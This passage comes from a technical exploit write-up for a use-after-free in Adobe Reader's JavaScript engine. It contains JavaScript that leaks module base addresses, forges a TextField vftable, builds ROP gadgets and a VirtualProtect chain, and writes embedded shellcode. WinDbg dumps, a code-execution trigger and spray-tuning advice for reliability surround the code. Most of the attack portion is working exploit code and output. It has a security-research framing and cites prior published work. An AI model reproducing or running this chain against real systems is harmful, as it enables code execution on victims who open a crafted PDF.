    //Testing by setting offset +0x600 to 0x41414141, blocked by CFI in EScript:
    var objescript = g_read(escript_base + 0x2753EC);
    var bkm = this.bookmarkRoot;
    g_write(objescript + 0x600, 0x41414141);
    ; The calling code to bkm.execute()
    .text:0003D681                 mov     ecx, dword_2753EC
    .text:0003D687                 push    esi             ; uintptr_t
    .text:0003D688                 push    eax             ; unsigned int
    .text:0003D689                 push    [ebp+var_8]     ; wchar_t *
    .text:0003D68C                 mov     esi, [ecx+600h]
    .text:0003D692                 mov     ecx, esi
    .text:0003D694                 push    ebx             ; wchar_t *
    .text:0003D695                 call    ds:___guard_check_icall_fptr
    .text:0003D69B                 call    esi             ; bkm.execute()
    .text:0003D69D                 mov     esi, [edi+0Ch]
    ; result in CFI exception, note that ESI is 0x41414141:
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00414141 ebx=505e2f38 ecx=41414141 edx=00aa0000 esi=41414141 edi=062eab78
    eip=77373b4b esp=02bde2e0 ebp=02bde314 iopl=0         nv up ei pl nz ac pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
    77373b4b 8b1482          mov     edx,dword ptr [edx+eax*4] ds:0023:01af0504=????????
    0:000> kb
        # ChildEBP RetAddr  Args to Child              
    00 02bde2dc 5046d69b 505e2f38 00000003 0d151ff8 ntdll!LdrpValidateUserCallTargetBitMapCheck
    01 02bde314 5046d579 09ac4d58 505e2f38 0d1af638 EScript!mozilla::HashBytes+0x2d0eb
    02 02bde330 5046d555 0d1af638 505e2f38 09ac4d58 EScript!mozilla::HashBytes+0x2cfc9
    03 02bde34c 5047034a 09ac4d58 00000000 505e2f38 EScript!mozilla::HashBytes+0x2cfa5

    Following [4], we can verify that icucnv58.dll does not have CFI enabled and there are some pointers to the module in AcroForm.api. We use fakeArrObj[4] from step 10 to leak the base address:

    var xfaobj_addr = g_read(g_read(arr_elem + 0x20) + 0x10);		// [4] at 0x0f0f0058
    var acroform_base = g_read(xfaobj_addr + 0x28) - 0x129f90;
    console.println("[+] AcroForm.api: 0x" + acroform_base.toString(16));

    However it is not all simply just an XFA object pointer being stored in the Array with type value 0xffffff87. There are several layers of encapsulation from JSObject to ESObject, then to the XFA Object:

    ; Check the oNodes object we used for leaking AcroForm base:
    ;  var oNodes = XMLData.parse("<a></a>", false);	 // AB[0,1] = (ptr,0xffffff87)
    ;  fakeArrObj[4] = oNodes;
    0:009> dd 0f0f0048-20
    0f0f0028  00000000 00000028 00000040 00000028
    0f0f0038  00000000 00000000 08971766 08a2214a
    0f0f0048  00000000 ffffff81 09c31450 00000000
    0f0f0058  09c299c0 ffffff87 00000000 0f0f0038  ; [0] -> JSObject
    ; the store pointer 09c299c0 at fakeArrObj[4] is JSObject (SpiderMonkey)
    0:009> dd 09c299c0 
    09c299c0  09c27448 09c25bc0 09714230 506a5528
    09c299d0  0a7c0258 00000000 09c1ec40 ffffff87  ; [0] -> ESObject
    ; the 5-th dword 0a7c0258 of JSObject is an ESObject
    0:009> dd 0a7c0258 
    0a7c0258  095eb8b8 09c299c0 00000000 097ed778  ; [1] -> JSObject
    0a7c0268  0a72b370 097142b8 00000000 00000000  ; [0] -> Private Property Table
    0a7c0278  09715330 00000000 086f9f90 08a49dd0  ; [2] -> leak AcroForm.api base
    0a7c0288  00000000 08780810 00000000 086f9ca0
    0a7c0298  00000000 00000000
    0:009> !heap -p -a 0a7c0258 
        address 0a7c0258 found in
        _HEAP @ 2bb0000
            HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
            0a7c0250 000a 0000  [00]   0a7c0258    00048 - (busy)

    By dumping pointers from AcroForm.api, we managed to find the following:

    0935abe0  519d1e03 icucnv58!ucnv_open_58
    0935abe4  519d06c1 icucnv58!ucnv_close_58
    0935abe8  519d2201 icucnv58!ucnv_setSubstChars_58
    0935abec  519d08e1 icucnv58!ucnv_convertEx_58
    0935abf0  519ea0ae icucnv58!udata_setCommonData_58

    Now we can leak the base of icucnv58.dll to build the ROP chain.

    var icucnv58_base = g_read(acroform_base + 0xc3abe0) - 0x11e03;
    console.println("[+] icucnv58.dll: 0x" + icucnv58_base.toString(16));
    // a86f5089230164fb6359374e70fe1739 - md5sum of icucnv58.dll
    g1 = icucnv58_base + 0x919d4 + 0x1000;  //mov esp, ebx ; pop ebx ; ret
    g3 = icucnv58_base + 0x37e50 + 0x1000;  //pop esp; ret

    We use the same trigger as [4]. As prepared in step 10, we assign a TextField object into fakeArrObj[6]. Following similar analysis to the XMLNode object, we can find the actual TextField object hence its vftable pointers:

    // .rdata:007E677C ; const CTextField::'vftable'
    var f1_jsobj = g_read(arr_elem + 0x30);				// 0x0f0f0068 
    var f1_esobj = g_read(f1_jsobj + 0x10);
    var f1_txobj = g_read(g_read(g_read(f1_esobj + 0x10) + 0xc) + 0x4);
    console.println("[+] TextField object: 0x" + f1_txobj.toString(16));
    ; fakeArrObj[6] = this.getField("Field1");
    0f0f0058  0a3299c0 ffffff87 00000000 0f0f0038
    0f0f0068  0a329a10 ffffff87 00000000 00000000
    0:009> dd 0a329a10 			; JSObject
    0a329a10  0a32fe68 0a3259a0 11999618 7adc5528
    0a329a20  0aecdb68 00000000 0a3241f0 ffffff87
    0:009> dd 0aecdb68 			; ESObject
    0aecdb68  09ce6f50 0a329a10 00000000 0adb0df0   ; [3] -> "Field"
    0aecdb78  0ae36cb8 00000000 00000000 00000000   ; [0] -> 11a4c7a8
    0aecdb88  0ae36768 00000000 00000000 00000000
    0aecdb98  00000000 08f527d0 00000000 00000000
    0aecdba8  00000000 00000000
    ; The address of the field object: ESObject[4][3]+4

    After the actual TextField object is found, we proceed with a similar technique as the trigger [4].

    GUESS = g_base + 0x30;	
    /* copy CTextField vftable */
    var tx_vftable = g_read(f1_txobj);
    console.println("[+] TextField vtable: 0x" + tx_vftable.toString(16));
    for(var i=0; i < 32; i++)
        g_write(GUESS+64+i*4, g_read(tx_vftable+i*4));	// copy 0x20 entries
    /* replace the trigger pointer */
    g_write(GUESS+64+0x18*4, g1);  	   // replace vftable[0x18]
    /* 1st rop chain */
    MARK_ADDR = f1_txobj;
    g_write(MARK_ADDR+4, g3);
    g_write(MARK_ADDR+8, GUESS+0xc0);
    /* 2nd rop chain */
    rop = [
        g_read(escript_base + 0x01AF058),	// VirtualProtect 2020.009.20063
        GUESS+0x120,			            // return address
        GUESS+0x120,			            // buffer
        0x1000,				                // sz
        0x40,				                // new protect
        GUESS-0x10				            // old protect
    for(var i=0; i < rop.length; i++)
        g_write(GUESS+0xc0+4*i, rop[i]);
    shellcode = [
        835867240, 1667329123, 1415139921, 1686860336, 2339769483,
        1980542347, 814448152, 2338274443, 1545566347, 1948196865, 
        4270543903, 605009708, 390218413, 2168194903, 1768834421, 
        4035671071, 469892611, 1018101719, 2425393296 ];
    for(var i=0; i < shellcode.length; i++)
        g_write(GUESS+0x120+i*4, re(shellcode[i]));
  14. Code Execution

    We choose to overwrite vftable[0x18] after testing many of the functions of a TextField. Then we swap the fake vftable with the real one for field1. The actual trigger as below:

    /* overwrite TextField object vftable */
    g_write(MARK_ADDR, GUESS+64);
    field1.delay = true;
    field1.delay = false;

    By fine tuning the spray amount and spray offset, the exploit can be made very reliable. The parameters for tuning are:

    1. spray_base, currently at 0x14000048; also used in constructing esobj_str.
    2. spray_size, currently 0xd00.
    3. afterGC() timeout, currently at 10 milliseconds.

    Choices of spray_base and spray_size should give a good (if not the best) chance that spray_base falls into the sprayed ArrayBuffer objects, for a specific or multiple versions of OS and Reader combination. Meanwhile spray_size also affect the memory footprint. For the timeout, generally the smaller value, the higher chance that the key step of controlling the freed ESObject and assigning the crafted Array JSObject address from ESObject would succeed.



  1. Abdul-Aziz Hariri and Mat Powell, CVE-2020-9715: Exploiting a Use-After-Free in Adobe Reader

  2. Ke Liu (@klotxl404), Pwning Adobe Reader Multiple Times with Malformed Strings

  3. Patroklos Argyroudis (@argp), OR'LYEH? The Shadow over Firefox

  4. Phan Thanh Duy (@PTDuy), TianFu Cup 2019: Adobe Reader Exploitation

  5. Sebastian Apelt (@bitshifter123), sample_exploit_0write.js